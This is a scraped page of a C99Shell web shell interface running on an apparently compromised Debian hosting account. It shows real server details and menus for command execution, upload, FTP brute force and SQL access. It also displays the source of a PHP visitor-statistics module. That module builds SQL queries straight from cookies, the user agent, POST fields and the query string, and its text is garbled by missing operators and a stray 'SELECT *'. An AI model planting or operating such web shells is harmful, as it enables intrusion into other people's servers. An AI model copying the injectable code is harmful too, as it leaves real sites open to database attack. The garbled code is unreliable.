!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/zt-tsou.org.ua/modules/zzvisitors/   drwxr-xr-x
Free 106.79 GB of 200.55 GB (53.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     module_copy.php (12.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
class Visitors
{
    var 
$UserMode   true;
    var 
$AdminMode  true;
    var 
$SearchMode false;
    var 
$PanelMode  true;
    var 
$UserAsynchMode true;
    var 
$VisitorsTable;
    var 
$VisitorsOSTable;
    var 
$VisitorsScreenTable;
    var 
$Directory;
    var 
$ClassName 'Visitors';
    function 
Visitors()
    {

        
$this->Directory dirname(__FILE__);
        
$this->ClassName $this->ClassName;
    }
    function 
Install()
    {
        if (
mysql_query("SELECT 1 FROM `AMCMS_visitors_agent` WHERE 0") == false)
            
mysql_query(<<<STR
  CREATE TABLE IF NOT EXISTS `AMCMS_visitors_agent` (
  `visitor_uid` varchar(30) NOT NULL,
  `visitor_agent` varchar(255) NOT NULL,
  PRIMARY KEY  (`visitor_uid`,`visitor_agent`)
) ENGINE=MyISAM;
STR
);
        if (
mysql_query("SELECT 1 FROM `AMCMS_visitors_date` WHERE 0") == false)
            
mysql_query(<<<STR
CREATE TABLE IF NOT EXISTS `AMCMS_visitors_date` (
  `visitor_date` date NOT NULL,
  `visitor_count` int(11) NOT NULL,
  PRIMARY KEY  (`visitor_date`)
) ENGINE=MyISAM;            
STR
);            


        if (
mysql_query("SELECT 1 FROM `AMCMS_visitors_screen` WHERE 0") == false)
            
mysql_query(<<<STR
CREATE TABLE IF NOT EXISTS `AMCMS_visitors_screen` (
  `visitor_uid` varchar(30) NOT NULL,
  `visitor_screen` varchar(10) NOT NULL,
  PRIMARY KEY  (`visitor_uid`,`visitor_screen`)
) ENGINE=MyISAM;            
STR
);            

        if (
mysql_query("SELECT 1 FROM `AMCMS_visitors_today` WHERE 0") == false)
            
mysql_query(<<<STR
CREATE TABLE IF NOT EXISTS `AMCMS_visitors_today` (
  `visitor_uid` varchar(30) NOT NULL,
  `visitor_date` datetime NOT NULL,
  PRIMARY KEY  (`visitor_uid`)
) ENGINE=MyISAM;            
STR
);            

    if (
mysql_query("SELECT 1 FROM `visitor_uids` WHERE 0") == false)
            
mysql_query(<<<STR
CREATE TABLE IF NOT EXISTS `AMCMS_visitors_uids` (
  `visitor_uid` varchar(30) NOT NULL,
  `visitor_ip` varchar(15) NOT NULL,
  `visitor_date` datetime NOT NULL,
  `visitor_lastvisit` datetime NOT NULL,
  PRIMARY KEY  (`visitor_uid`)
) ENGINE=MyISAM;            
STR
);            
        
    }
    function 
User()
    {
        global 
$language$ULANG;
        
/* Добавление в БД списка выданных uid-ов*/
        
$ip $_SERVER['REMOTE_ADDR'];
        
$date GetCurrentDateAndTime();
        
$yesterday GetYesterday();
         
$date1 GetCurrentYear()."-".GetCurrentMonth()."-".GetCurrentDay()." 00:00:00";
         
$date2 GetCurrentYear()."-".GetCurrentMonth()."-".GetCurrentDay()." 23:59:59";        
        
$agent $_SERVER['HTTP_USER_AGENT'];
        if (isset(
$_COOKIE['uid']) && strlen(trim($_COOKIE['uid'])) > 8)
        {
            
$uid    $_COOKIE['uid'];
            
$newUID false;
        } else
        {
            
$uid    uniqid(mt_rand());
            
$newUID true;        
        }
        if (
$newUID == false)
        {
            
$res mysql_query("SELECT * FROM AMCMS_visitors_uids WHERE visitor_uid = '$uid'");
            if (
mysql_num_rows($res) == 0)
            {
                    
                
mysql_query("INSERT INTO AMCMS_visitors_uids (visitor_uid, visitor_date, visitor_lastvisit, visitor_ip) VALUES ('$uid', '$date', '$date', '$ip')");
            }
            
setcookie("uid"$uidtime() + 8*60*60*24*30*12);                
        }        
        if (
$newUID == true)
        {
            
$res mysql_query("SELECT * FROM AMCMS_visitors_uids WHERE visitor_ip = '$ip' ORDER BY visitor_date DESC LIMIT 0, 1");
            
$row mysql_fetch_array($res);
            if ((
mysql_num_rows($res) == 0) || (DateDiff('s'$row['visitor_date'], $date) > GetParam("UID_Timeout")))
            {                    
                
mysql_query("INSERT INTO AMCMS_visitors_uids (visitor_uid, visitor_date, visitor_lastvisit, visitor_ip) VALUES ('$uid', '$date', '$date', '$ip')");                                            
                
setcookie("uid"$uidtime() + 8*60*60*24*30*12);
            } else 
               return;
        }
        
$res mysql_query("SELECT * FROM AMCMS_visitors_today WHERE visitor_date < '$date1'");
        if (
mysql_num_rows($res) > 0)
        {
            
$count mysql_num_rows($res);
            
mysql_query("INSERT INTO AMCMS_visitors_date (visitor_date, visitor_count) VALUES ('$yesterday', '$count')");                                
            
mysql_query("DELETE FROM AMCMS_visitors_today WHERE visitor_date < '$date1'");
        }
        
mysql_query("UPDATE AMCMS_visitors_uids SET visitor_lastvisit = '$date' WHERE visitor_uid = '$uid'");
        
mysql_query("INSERT INTO AMCMS_visitors_agent (visitor_uid, visitor_agent) VALUES ('$uid','$agent')");
        
$res mysql_query("SELECT * FROM AMCMS_visitors_today WHERE visitor_uid = '$uid' ORDER BY visitor_date DESC ");
        if (
mysql_num_rows($res) == 0)
            
mysql_query("INSERT INTO AMCMS_visitors_today (visitor_uid, visitor_date) VALUES ('$uid', '$date')");
        else
            
mysql_query("UPDATE AMCMS_visitors_today SET visitor_date = '$date' WHERE visitor_uid = '$uid'");
    }

    function 
UserAsynch()
    {
        global 
$language$ULANG;
        if (isset(
$_POST['getdate']))
        {
            
$arr['ok'] = true;            
            
$arr['date'] = (int)GetCurrentDay().' '.$ULANG['MonthRP'.((int)GetCurrentMonth())].' '.GetCurrentYear().' '.$ULANG['YearRP'];
            
$arr['time'] = GetCurrentHours().":".GetCurrentMinutes();
            
$arr['day']  = $ULANG['Day'.GetCurrentDayOfWeek()];
            echo 
"{ok:{$arr['ok']}, okString:'', date:'{$arr['date']}', time:'{$arr['time']}', day:'{$arr['day']}'}";            
            return;
        }
        if (isset(
$_POST['width']) && isset($_POST['height']) && isset($_COOKIE['uid']))
         {
             
$ip $_SERVER['REMOTE_ADDR'];
            
$uid $_COOKIE['uid'];
             
$screen $_POST['width']."x".$_POST['height'];
             
$_SESSION['screen_width'] = $_POST['width']; 
            
mysql_query("INSERT INTO AMCMS_visitors_screen (visitor_uid, visitor_screen) VALUES ('{$uid}', '{$screen}')");
         }            

    }
    function 
Menu()
    {
        global 
$ALANG;
        if (isset(
$_GET['mod']) && ($_GET['mod'] == $this->ClassName))
        {
            return 
"";
            return array(
                array(
'title' => $ALANG['PageAdd'],  'link' => '?mod='.$this->ClassName.'&PageAdd'),
                array(
'title' => $ALANG['PageList'], 'link' => '?mod='.$this->ClassName.'&PageList'),
                array(
'title' => $ALANG['ChapterAdd'],  'link' => '?mod='.$this->ClassName.'&ChapterAdd'),
                array(
'title' => $ALANG['ChapterList'], 'link' => '?mod='.$this->ClassName.'&ChapterList')
                );            
        } else
        return 
"";        
    }
    function 
GetAllVisitors()
    {
        
$res mysql_query("SELECT COUNT(visitor_uid) FROM AMCMS_visitors_uids");
        
$row mysql_fetch_assoc($res);
        return 
$row['COUNT(visitor_uid)'];
    }
    function 
GetTodayVisitors()
    {
         
$date GetCurrentYear()."-".GetCurrentMonth()."-".GetCurrentDay();
        
$res mysql_query("SELECT COUNT(*) FROM AMCMS_visitors_today");
        
$row mysql_fetch_assoc($res);
        return 
$row['COUNT(*)'];
        
    }
    function 
GetNowVisitors()
    {
          
$time strtotime(GetParam("TimeOffset")." -7 minutes");
        
$fecha date("Y-m-d H:i:s"$time);
        
$res mysql_query("SELECT * FROM AMCMS_visitors_today WHERE visitor_date >= '{$fecha}'");
        
$count mysql_num_rows($res);        
        return 
$count == $count;        
    }    
    
    function 
GetPageVisit($title)
    {
        
$res mysql_query("SELECT * FROM AMCMS_visitors_pages WHERE vispage_address = '".trim($_SERVER['QUERY_STRING'])."'");
        
$count mysql_num_rows($res);        
        if (
$count == 0)
        {
           
mysql_query("INSERT INTO AMCMS_visitors_pages (vispage_address, vispage_count, vispage_title) VALUES ('{$_SERVER['QUERY_STRING']}', 1, '{$title}')");
           
$cnt 1;
        } else
        {
            
$row mysql_fetch_array($res);
           
$cnt $row['vispage_count'] + 1;
           
mysql_query("UPDATE AMCMS_visitors_pages SET vispage_count = '{$cnt}', vispage_title = '{$title}' WHERE vispage_address = '".trim($_SERVER['QUERY_STRING'])."'");
        }    
        return 
$cnt;
    }
    
    function 
GetVisitorsForLast30DaysByDays()
    {
        
$sql "";
        for (
$i 1$i <= 30$i++)
        {
              
$time strtotime("-".$i." day");
            
$year date("Y"$time);
            
$month date("m"$time);
            
$day date("d"$time);        
            
$date1 $year."-".$month."-".$day." 00:00:00";
             
$date2 $year."-".$month."-".$day." 23:59:59";
             
$sql "SELECT visitor_count FROM AMCMS_visitors_date WHERE (visitor_date >= '{$date1}') AND (visitor_date <= '{$date2}')";
             
$rows[$i]['date'] = $year."-".$month."-".$day;
            
$res mysql_query($sql);
             
$row mysql_fetch_assoc($res);
             
$rows[$i]['count'] = $row['visitor_count'];
        }
        return 
$rows;
    }
    function 
Admin()
    {
        if (isset(
$_GET['mod']) && ($_GET['mod'] == $this->ClassName))
        {            
              
            global 
$ALANG$DefaultAdminLanguage$_LANG_ID;
/*            if (isset($_GET['GeoUpdate']))
            {
                $gi = geoip_open("geoip/GeoIPCity.dat" , GEOIP_MEMORY_CACHE);
                $res = mysql_query("SELECT * FROM AMCMS_visitors_uids");
                while ($row = mysql_fetch_assoc($res))
                {
                    $record = geoip_record_by_addr($gi,$row['visitor_ip']);
                    $country = $record->country_name; 
                    $city = $record->city;
                    mysql_query("UPDATE AMCMS_visitors_uids SET visitor_country = '$country', visitor_city = '$city' WHERE visitor_uid = '{$row['visitor_uid']}'");
                }            
                
            }*/
            
$smarty = new Smarty();
              
$smarty->template_dir $this->Directory."/templates";
              
$smarty->compile_dir 'tmp/_compile_admin/';                  
              
$smarty->assign("languages"$_LANG_ID);
              
$smarty->assign("ALANG"$ALANG);
            
$res mysql_query("SELECT * FROM AMCMS_visitors_agent");
            
$os = array();
                        
            while (
$row mysql_fetch_assoc($res))
            {                            
                
$b detect_browser($row['visitor_agent']);
                if (
$row['visitor_uid'] != $last)
                    
$os[$b['os']]++;
                
$last $row['visitor_uid'];
                
$browser_detail[$b['name'].' '.$b['version']]++;
                
$browser[$b['name']]++;
            }
            
natsort($os);
            
$os array_reverse($os);
            
natsort($browser_detail);
            
$browser_detail array_reverse($browser_detail);
            
natsort($browser);
            
$browser array_reverse($browser);

            
$pages = array();
            
$res mysql_query("SELECT * FROM AMCMS_visitors_pages ORDER BY vispage_count DESC");
             while(
$row mysql_fetch_array($res))
             {                 
                 
$r['address'] = substr($row['vispage_address'], 035);
                 
$r['link'] = $row['vispage_address'];
                 
$r['count'] = $row['vispage_count'];
                 
$pages [] = $r;
                                                  
             }
            
$smarty->assign("os"$os);
            
$smarty->assign("browser"$browser);
            
$smarty->assign("browser_detail"$browser_detail);
            
$res mysql_query("SELECT * FROM AMCMS_visitors_screen");
            while (
$row mysql_fetch_assoc($res))
                
$screen[$row['visitor_screen']]++;                         
            
natsort($screen);
            
$screen array_reverse($screen);
            
$smarty->assign("screen"$screen);
            
$smarty->assign("visitors_all"$this->GetAllVisitors());
            
$smarty->assign("visitors_today"$this->GetTodayVisitors());
            
$smarty->assign("visitors_last_month_by_days"$this->GetVisitorsForLast30DaysByDays());
            
$smarty->assign("visitors_now"$this->GetNowVisitors());
            
$smarty->assign("pages"$pages);
            
SELECT *

            
//$countries = array();        
            //$cities = array();    
            //$gi = geoip_open("geoip/GeoIPCity.dat" , GEOIP_MEMORY_CACHE);
            /*$res = mysql_query("SELECT * FROM AMCMS_visitors_uids");
            while ($row = mysql_fetch_assoc($res))
            {
                $countries[$row['visitor_country']]++;
                $cities[$row['visitor_city']]++;;
            }            
            natsort($countries);
            natsort($cities);
            $countries = array_reverse($countries);
            $cities = array_reverse($cities);
            print_r($countries);
            print_r($cities);*/
        /*    $html = "";
            $html .= "<ul>";
            $res = mysql_query("SELECT visitor_country, COUNT(visitor_country) FROM `AMCMS_visitors_uids` GROUP BY visitor_country ORDER BY COUNT(visitor_country) DESC");
            while ($row = mysql_fetch_assoc($res))
            {
                $country = $row['visitor_country'];
                $sql = "SELECT *, COUNT(visitor_city) FROM `AMCMS_visitors_uids` WHERE visitor_country='{$country}' GROUP BY visitor_city ORDER BY COUNT(visitor_city) DESC"; 
                $res_cities = mysql_query($sql);
                $html .= "<li>".$country." (".$row['COUNT(visitor_country)'].")";
                $html .= "<ul>";
                while ($city = mysql_fetch_assoc($res_cities))
                {
                    if (strlen($city['visitor_city']) == 0)
                        $city['visitor_city'] = "Unknown";
                    $html .= "<li>".$city['visitor_city']. " (".$city['COUNT(visitor_city)'].")</li>";
                }
                $html .= "</ul>";
                $html .= "</li>";
            }
            $html .= "</ul>";*/    
                
                /*$record = geoip_record_by_addr($gi,$row['visitor_ip']);
                $country = $record->country_name; 
                $city = $record->city;
            //    mysql_query("INSERT INTO AMCMS_visitors_ips (visitor_ip, visitor_country, visitor_city) VALUES ('{$row['visitor_ip']}', '{$country}', '{$city}')");
                $countries[$record->country_name]++;
                $cities[$record->city]++;;*/
                //echo var_dump($row);
            
$smarty->assign("visitors_countries"$html);
            
$result['Content'] = $smarty->fetch('visitors.tpl');
            return 
$result;
        }
    }        
    function 
Panel()
    {
        global 
$ULANG$language;
        
$all $this->GetAllVisitors();
        
$today $this->GetTodayVisitors();
        
$now $this->GetNowVisitors();
        
$pages $this->GetPageVisit('');        
        
$html .= "<div class=\"VisitorsDiv\">";
        
$html .= "<table align=\"center\" class=\"VisitorsTable\">";
        
$html .= "<tr>";
        
$html .= "<td>{$ULANG['VisitorsNow']}:</td>";
        
$html .= "<td>{$now}</td>";
        
$html .= "</tr>";
        
$html .= "<tr>";
        
$html .= "<td>{$ULANG['VisitorsPage']}:</td>";
        
$html .= "<td>{$pages}</td>";
        
$html .= "</tr>";
        
$html .= "<tr>";
        
$html .= "<td>{$ULANG['VisitorsToday']}:</td>";
        
$html .= "<td>{$today}</td>";
        
$html .= "</tr>";
        
$html .= "<tr>";
        
$html .= "<td>{$ULANG['VisitorsAll']}:</td>";
        
$html .= "<td>{$all}</td>";
        
$html .= "</tr>";
        
$html .= "</table>";
        
$html .= "</div>";
        
$result['Visitors'] = array('panelName' => $ULANG['VisitorsName'],
                     
'panelHtml' => $html);
        return 
$result;
    }

$Modules [] = new Visitors();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0393 ]--